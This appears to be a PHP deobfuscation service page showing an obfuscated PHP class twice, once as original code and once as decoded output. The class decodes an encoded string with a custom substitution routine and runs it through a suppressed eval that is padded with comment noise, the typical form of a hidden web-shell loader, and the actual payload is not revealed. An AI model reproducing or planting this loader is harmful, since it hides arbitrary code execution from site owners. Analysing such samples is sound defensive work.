Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class jhTsXc{ public $fPlg = null; public $nBrUvQi = null; function ..

Decoded Output download

<?php 
class jhTsXc{ 
    public $fPlg = null; 
    public $nBrUvQi = null; 
    function __construct(){ 
    $this->fPlg = 'jd0b9dJP9C9bfpJWJZ9CJafqfbLPJbJaJCJPJbJa0B0bLPLdjPLCLbLv0SJCJSLWjqjC0SLp0gfv0bJvJa9gfpjd0bLPjCjPjPjvjgjaLv0SLdjBLdLCjaLCLCjgjb0SLpfvJqJP9W0B0bJgfpfdfv0bJgfG9C9b9WJGJaJk0B0b9dJP9C9b0gfv0bJg0v0v0g9v0b9dJP9C9bLv0bJgLp0dfp0d0b9dJP9C9bLv0bJgLp0dLk0d0bJvJa9gLv0bJg0afWfqLpfv9pjdJa9qJZJG0B0b9dJP9C9b0gfv'; 
    $this->nBrUvQi = @qrlxf($this->fPlg); 
    $nBrUvQi = $this->nBrUvQi; 
    @eval/*****gzkQ*****/($nBrUvQi)."/*****gzkQ*****gzkQ*****/"; 
} 
} 
new jhTsXc(); 
function qrlxf($xKjmktOF){ 
    $keYG = 'VdnKNZDe0Ws5fCO7jbI8La2lJqyT9SuM6Bh4zgXQr3mcRvtYoGUHxp1wAkEFiP'; 
    $xKjmktOF = strval($xKjmktOF); 
    $QATAs = str_split($keYG); 
    $PUY = array_flip($QATAs); 
    if(!preg_match('/[a-zA-Z0-9]+/',$xKjmktOF)){ 
        return false; 
    } 
    $jqkNdH = strlen($xKjmktOF); 
    $IEdlvu = 0; 
    $glfhe = array(); 
    while($IEdlvu < $jqkNdH){ 
        $huPwe = decbin(($PUY[$xKjmktOF[$IEdlvu]] - $IEdlvu % 2) / 4); 
        $glfhe[] = str_pad($huPwe, 4, '0', STR_PAD_LEFT); 
        ++$IEdlvu; 
    } 
    $JpCmh = ''; 
    $glfhe = array_chunk($glfhe, 2); 
    foreach($glfhe as $ehYrz){ 
        $JpCmh .= chr(bindec(join('', $ehYrz))); 
    } 
    return $JpCmh; 
} ?>

Did this file decode correctly?

Original Code

<?php
class jhTsXc{
    public $fPlg = null;
    public $nBrUvQi = null;
    function __construct(){
    $this->fPlg = 'jd0b9dJP9C9bfpJWJZ9CJafqfbLPJbJaJCJPJbJa0B0bLPLdjPLCLbLv0SJCJSLWjqjC0SLp0gfv0bJvJa9gfpjd0bLPjCjPjPjvjgjaLv0SLdjBLdLCjaLCLCjgjb0SLpfvJqJP9W0B0bJgfpfdfv0bJgfG9C9b9WJGJaJk0B0b9dJP9C9b0gfv0bJg0v0v0g9v0b9dJP9C9bLv0bJgLp0dfp0d0b9dJP9C9bLv0bJgLp0dLk0d0bJvJa9gLv0bJg0afWfqLpfv9pjdJa9qJZJG0B0b9dJP9C9b0gfv';
    $this->nBrUvQi = @qrlxf($this->fPlg);
    $nBrUvQi = $this->nBrUvQi;
    @eval/*****gzkQ*****/($nBrUvQi)."/*****gzkQ*****gzkQ*****/";
}
}
new jhTsXc();
function qrlxf($xKjmktOF){
    $keYG = 'VdnKNZDe0Ws5fCO7jbI8La2lJqyT9SuM6Bh4zgXQr3mcRvtYoGUHxp1wAkEFiP';
    $xKjmktOF = strval($xKjmktOF);
    $QATAs = str_split($keYG);
    $PUY = array_flip($QATAs);
    if(!preg_match('/[a-zA-Z0-9]+/',$xKjmktOF)){
        return false;
    }
    $jqkNdH = strlen($xKjmktOF);
    $IEdlvu = 0;
    $glfhe = array();
    while($IEdlvu < $jqkNdH){
        $huPwe = decbin(($PUY[$xKjmktOF[$IEdlvu]] - $IEdlvu % 2) / 4);
        $glfhe[] = str_pad($huPwe, 4, '0', STR_PAD_LEFT);
        ++$IEdlvu;
    }
    $JpCmh = '';
    $glfhe = array_chunk($glfhe, 2);
    foreach($glfhe as $ehYrz){
        $JpCmh .= chr(bindec(join('', $ehYrz)));
    }
    return $JpCmh;
}

Function Calls

None

Variables

None

Stats

MD5 c29c27bac012d33865f39869a3dfc05a
Eval Count 0
Decode Time 57 ms